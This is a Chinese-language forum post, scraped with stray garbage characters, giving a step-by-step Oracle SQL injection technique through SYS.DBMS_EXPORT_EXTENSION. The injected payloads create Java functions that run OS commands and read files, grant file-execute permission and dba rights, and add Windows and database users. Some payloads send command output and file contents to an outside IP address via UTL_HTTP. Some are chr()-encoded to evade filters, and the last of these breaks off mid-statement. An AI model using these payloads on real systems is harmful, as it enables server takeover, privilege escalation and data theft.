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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

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2 G2 S- O" |  c# T  b介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。" f! I% e2 J( C* }9 O9 R

/ U$ W, W8 K! c. @  {( r: X以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成3 V7 }5 E0 d0 X, n  c
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)4 l$ I0 X3 ?3 c" i

" ?& c7 q  [# `( m) y% }. D2 p语句有点长,可能要用post提交。
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以下是各个步骤:
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1.创建包
9 b/ ~/ @# g. L通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 E0 G" Q+ O  l* q
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& ^  C4 X! |3 U) n# ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; q+ N& A: x' t) l: @}'''';END;'';END;--','SYS',0,'1',0) from dual: A1 J+ c) Z) R7 z8 m
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- w6 r( @) |# C+ d6 F9 ]------------------------3 l5 {, _6 E1 o7 J$ n, G% C: o
如果url有长度限制,可以把readFile()函数块去掉,即:. [6 e' I& {8 h
/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  d& @2 Z/ ^  @- K- w" ~1 A, I; Mcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 G! ]1 t" p+ ~- d' r  a4 D" S
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. P+ y  u5 E; X5 L& L
}'''';END;'';END;--','SYS',0,'1',0) from dual
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% p5 [$ f6 I* X* L; j7 Q6 h同时把后面步骤 提到的 对readFile()的处理语句去掉。8 \  k1 P" k, D  k" I
------------------------------
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2.赋Java权限9 y, C6 F$ `% \# T

+ O- K  T- M6 q6 q. lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) P4 N5 k" j7 E8 J) k
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; |0 Q- l* t* `7 Q  n/ v3.创建函数+ |6 ]5 h1 Q$ N% {2 }5 c

3 S; `7 @6 t9 n5 o4 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& `( m9 D0 {3 Bcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual9 ~; U0 a: k- j
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) |6 K; b0 R9 X+ A# }. b* Bcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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) R: g0 c* r* Z  R' T4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual8 t" ?. ]1 h) ]4 r2 T
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5.测试上面的几步是否成功9 z) u9 [# F; L# e
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and '1'<>'11'||(
# v; W( Q% v% Z' Sselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'* d$ h) K$ o& U5 e( p/ }) b% q. d
)
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:
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8 E8 \% O& t* p' ^  V/xxx.jsp?id=1 and '1'<>(; @/ [) ^5 u2 v9 a" }2 a& }+ [
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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) G0 G* |7 ?7 Q/xxx.jsp?id=1 and '1'<>(* P1 I4 E7 t0 C' L5 N
select sys.LinxReadFile('c:/boot.ini') from dual( s$ Y! x$ z: Q& ^7 U: c
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。/ I! F$ m% }  Z; D3 e/ _" l
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual. [! C: {1 s7 l* E$ w* f* d

0 G( }  A* _4 G! k% W: K或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
% j" L/ o2 w, B" ]SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual) {7 T) j' p" e6 B7 ^& b6 F/ |
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/xxx.jsp?id=1 and '1'<>(
# J( K& e  L9 |7 \* e2 WSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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/ g# X2 Y% y" e- o# x注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。! g, o/ L0 j: H! M# d6 I
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--------------------- f& O* h! |) u- P: q2 e
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6.内部变化, w4 h+ {: C, ~7 C2 h- K2 q
通过以下命令可以查看all_objects表达改变:
$ x# B* F6 T. U4 Y: Mselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'1 B) v2 C9 ]! L
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7.删除我们创建的函数" l, U* m2 t! e; N* h' U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- O- h8 R5 Z  k% h
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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; F2 i- F1 w9 ?) |3 y====================================================
: x3 Q- ^$ w8 g$ k( g5 ~' J6 h1 \全文结束。谨以此文赠与我的朋友。
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linx0 e* F& D7 q* m, W/ a2 t( E
124829445
0 [2 y( X/ s& a+ t0 o# y' [2008.1.12
) ?6 M2 r% d6 M0 Y7 d& elinyujian@bjfu.edu.cn* Z, t" P% U$ m8 O& B1 g# f
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  I) V, n, q' _: Q======================================================================$ E8 F- g& r# j* \) n8 l8 ]

5 l8 y& c4 M8 e' _2 L# r  U8 C" O测试漏洞的另一方法:
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创建oracle帐号:& l+ b' j  ]/ N7 L, T( Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. @/ W7 ^/ B3 T/ a" c* ^
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 G) I, Z; h. h' x9 V' N/ uchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual2 {3 _1 S: l2 C1 b

' J. B6 e% g! J" [确定漏洞存在:1 _2 x2 r5 |! l- c' y
1<>(% s  d* h# g; I" _3 L: u
select user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
4 X' v" v& ^  a0 h; Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 R; _1 G7 y; {0 wGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:
4 h0 ~2 U: t- Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 _5 c$ i( ^9 h) ]! X' r; f3 G: }$ o
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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2 F. H6 o7 V, E0 o. e1 G2 Z======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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# f9 |. _" O/ t6 B0 `: _$ L1.jsp?id=1 and '1'<>(- T. v' o! ~& ]4 z' e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 q/ w8 y- Z/ d' o5 icreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual0 V) t* F0 s: O0 e, I  u" X
) and ...# }1 J' W# ], A# A2 o8 B
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1.jsp?id=1 and '1'<>(
$ L/ T5 q1 V  y! Q, j; w4 w9 ?" rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
- J( _: B9 h8 nSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL, Y4 `- j" q3 y% n% u! p2 x0 Y
) and ...8 R" q1 d( B; Z/ {

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% a) Z% r( F9 G/ D/ CSELECT sys.Linx_Query('declare pragma
8 J  J) ]# n/ xautonomous_transaction; begin execute immediate ''% r' P" P3 t2 P* i& q
select 1 from dual. v( H. s' h$ ^, c6 h" A
''; commit; end;') from dual- _# R+ I' Y, h/ D9 w0 |$ W! T& @9 m
) and ...
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多语句:
# ]( k3 W! h7 JSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual" V. b" C: M6 K0 z! g8 o2 ?* M
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创建用户(除非当前用户有system权限,否则无法成功):
1 P$ o2 v+ G: ?6 m) sSELECT sys.Linx_Query('declare pragma( N- @6 s+ U9 ~( Q& T: o" M
autonomous_transaction; begin execute immediate ''
) B, f, ~$ _) D, s$ H& G4 N. HCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User6 s3 v! z# M7 z5 h9 `
''; commit; end;') from dual) ]6 f/ E/ R8 u

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================5 |& T" d6 C7 T7 N, [6 ^* W
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 Z6 H1 I$ |3 _, z8 f
create or replace function Linx_Query (p, X" V0 {* {9 ^" S
varchar2) return number authid current_user is begin execute immediate
, N7 u: q& X/ [$ u" T( kp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;$ O- `. [. o7 R

: Z1 ~6 T$ ~$ b4 h/ _如果有权限,以下语句应该允许正常5 H: i6 w8 J& ]! F
select sys.linx_query('select 1 from dual') from dual;
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8 Y, j% Q0 V  k" n不然的话运行:4 X1 {7 `, Z1 I& r$ x
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 m  e3 O. {' G- o. S" ]grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual: _+ e2 S1 J# n8 L: H6 Q

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& D9 L# R* i$ ]& H6 v2.创建包
+ D" d( b; C% L! ]8 M- WSELECT sys.Linx_Query('declare pragma" u% a+ e6 n6 q9 D# [4 g/ {
autonomous_transaction; begin execute immediate ''
: \1 F, X' m5 dcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(6 z* M8 O2 B! q5 ^6 ?
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
/ G; [7 R% v. i6 s0 z2 ]
# Y$ g( `) n8 G# {3 I; p3.创建函数
: F/ @0 ]: I1 _0 u" d. i# u0 h, `SELECT sys.Linx_Query('declare pragma
3 f, j8 t6 g3 e* u7 |" x$ Uautonomous_transaction; begin execute immediate ''2 w1 b3 f- {* p: N
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual) |- _+ m2 z0 p
9 _; V0 Y* i9 W/ j; K
4.给权限$ R' y( r& o$ t% l- T' ^
给用户SYSTEM执行权限:' o# r* g4 }/ z

! ^- i" J7 ?2 W6 bSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
+ y: I# A* n: \4 n
+ d8 _0 b/ D5 e) z+ M  X) j: C( D
2 q% t& x1 ~% Y  j5 ~
. ~- O3 {5 G, Q1 f; [) }5.执行函数
8 ~1 h& {$ D3 @! G) S$ o/ yselect RunCMD2('cmd /c dir') from dual2 V0 Q6 D3 b& {4 }8 T9 S5 v

! `1 c; c1 Y4 R$ U( p& f1 p5 R& p

% X: m4 }8 t  K+ R* y' R
1 {* [$ M9 I2 L+ O" [- E* h5 t4 A  E$ L: T0 d" z" b' }
==================+ I( g6 d2 o' W1 @0 `
================================
/ R! O3 R) `" b  V7 J
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7 D) F+ l  d( D
. {$ m* C4 _2 {+ V# I5 x% X5 ^! h% x以下是各个步骤:
" M/ q% R* v. l# v& `1 O+ x' \% ?% w; x1 X4 |7 \0 n9 p. n- O
1.创建包
. L0 U$ z& Q) I) t通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:5 E6 q8 ^/ p& [8 [, ~  n- V% I
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:- Q* h# E% l3 d/ u0 H' M- C

+ A' ^/ ~8 A/ x1 n2 w6 S& W/xxx.jsp?id=1 and chr(49)<>chr(50)||(
: h8 t2 ]% }; p  u) K% {2 K& F2 H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# Y' p6 `" ~1 z( I: jchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||3 l9 h4 o8 F$ N  o+ |( S
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||! y+ X+ X: l; w$ }4 w
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
" d! K9 g9 ~# uchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
% n0 H" ~# S3 `  {chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
% M6 t% U# u" z3 ^' mchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||, _& A# h8 q8 ]( U9 }3 K4 u2 D. _/ J
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||" _. Q. Z8 ^- Z) r* M# G
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||: C5 f  Y3 K2 y" e# o
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||9 m; M! V3 U: R) }8 T3 R
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
4 W5 W# P4 i( x6 g& Echr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||) I% T* u0 W! Y) S
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||2 S0 A7 b, ?. p  t3 j( W
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||* x5 g+ m4 ~7 G. l/ s* Y* a# n
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
2 b! k) K0 c2 Achr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
5 U& ~. G/ P0 Rchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
, }: W9 P8 D% C. T; U& Tchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
0 Z) D' K" ~2 ychr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
7 S. _) N7 i1 n9 A# a9 rchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||( h, r* E# `, g1 j
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
& {$ y6 S& [7 ~, ~chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||7 H, x: Z; ^4 N% V. D- e: {
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
, B7 n( q* L: c& ~chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
( C# u+ l7 a$ b8 K) @. Achr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||" M# v1 n1 l) I" x/ M! s: q, y
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||, j4 i# _# @2 n1 _4 R1 p4 D2 S
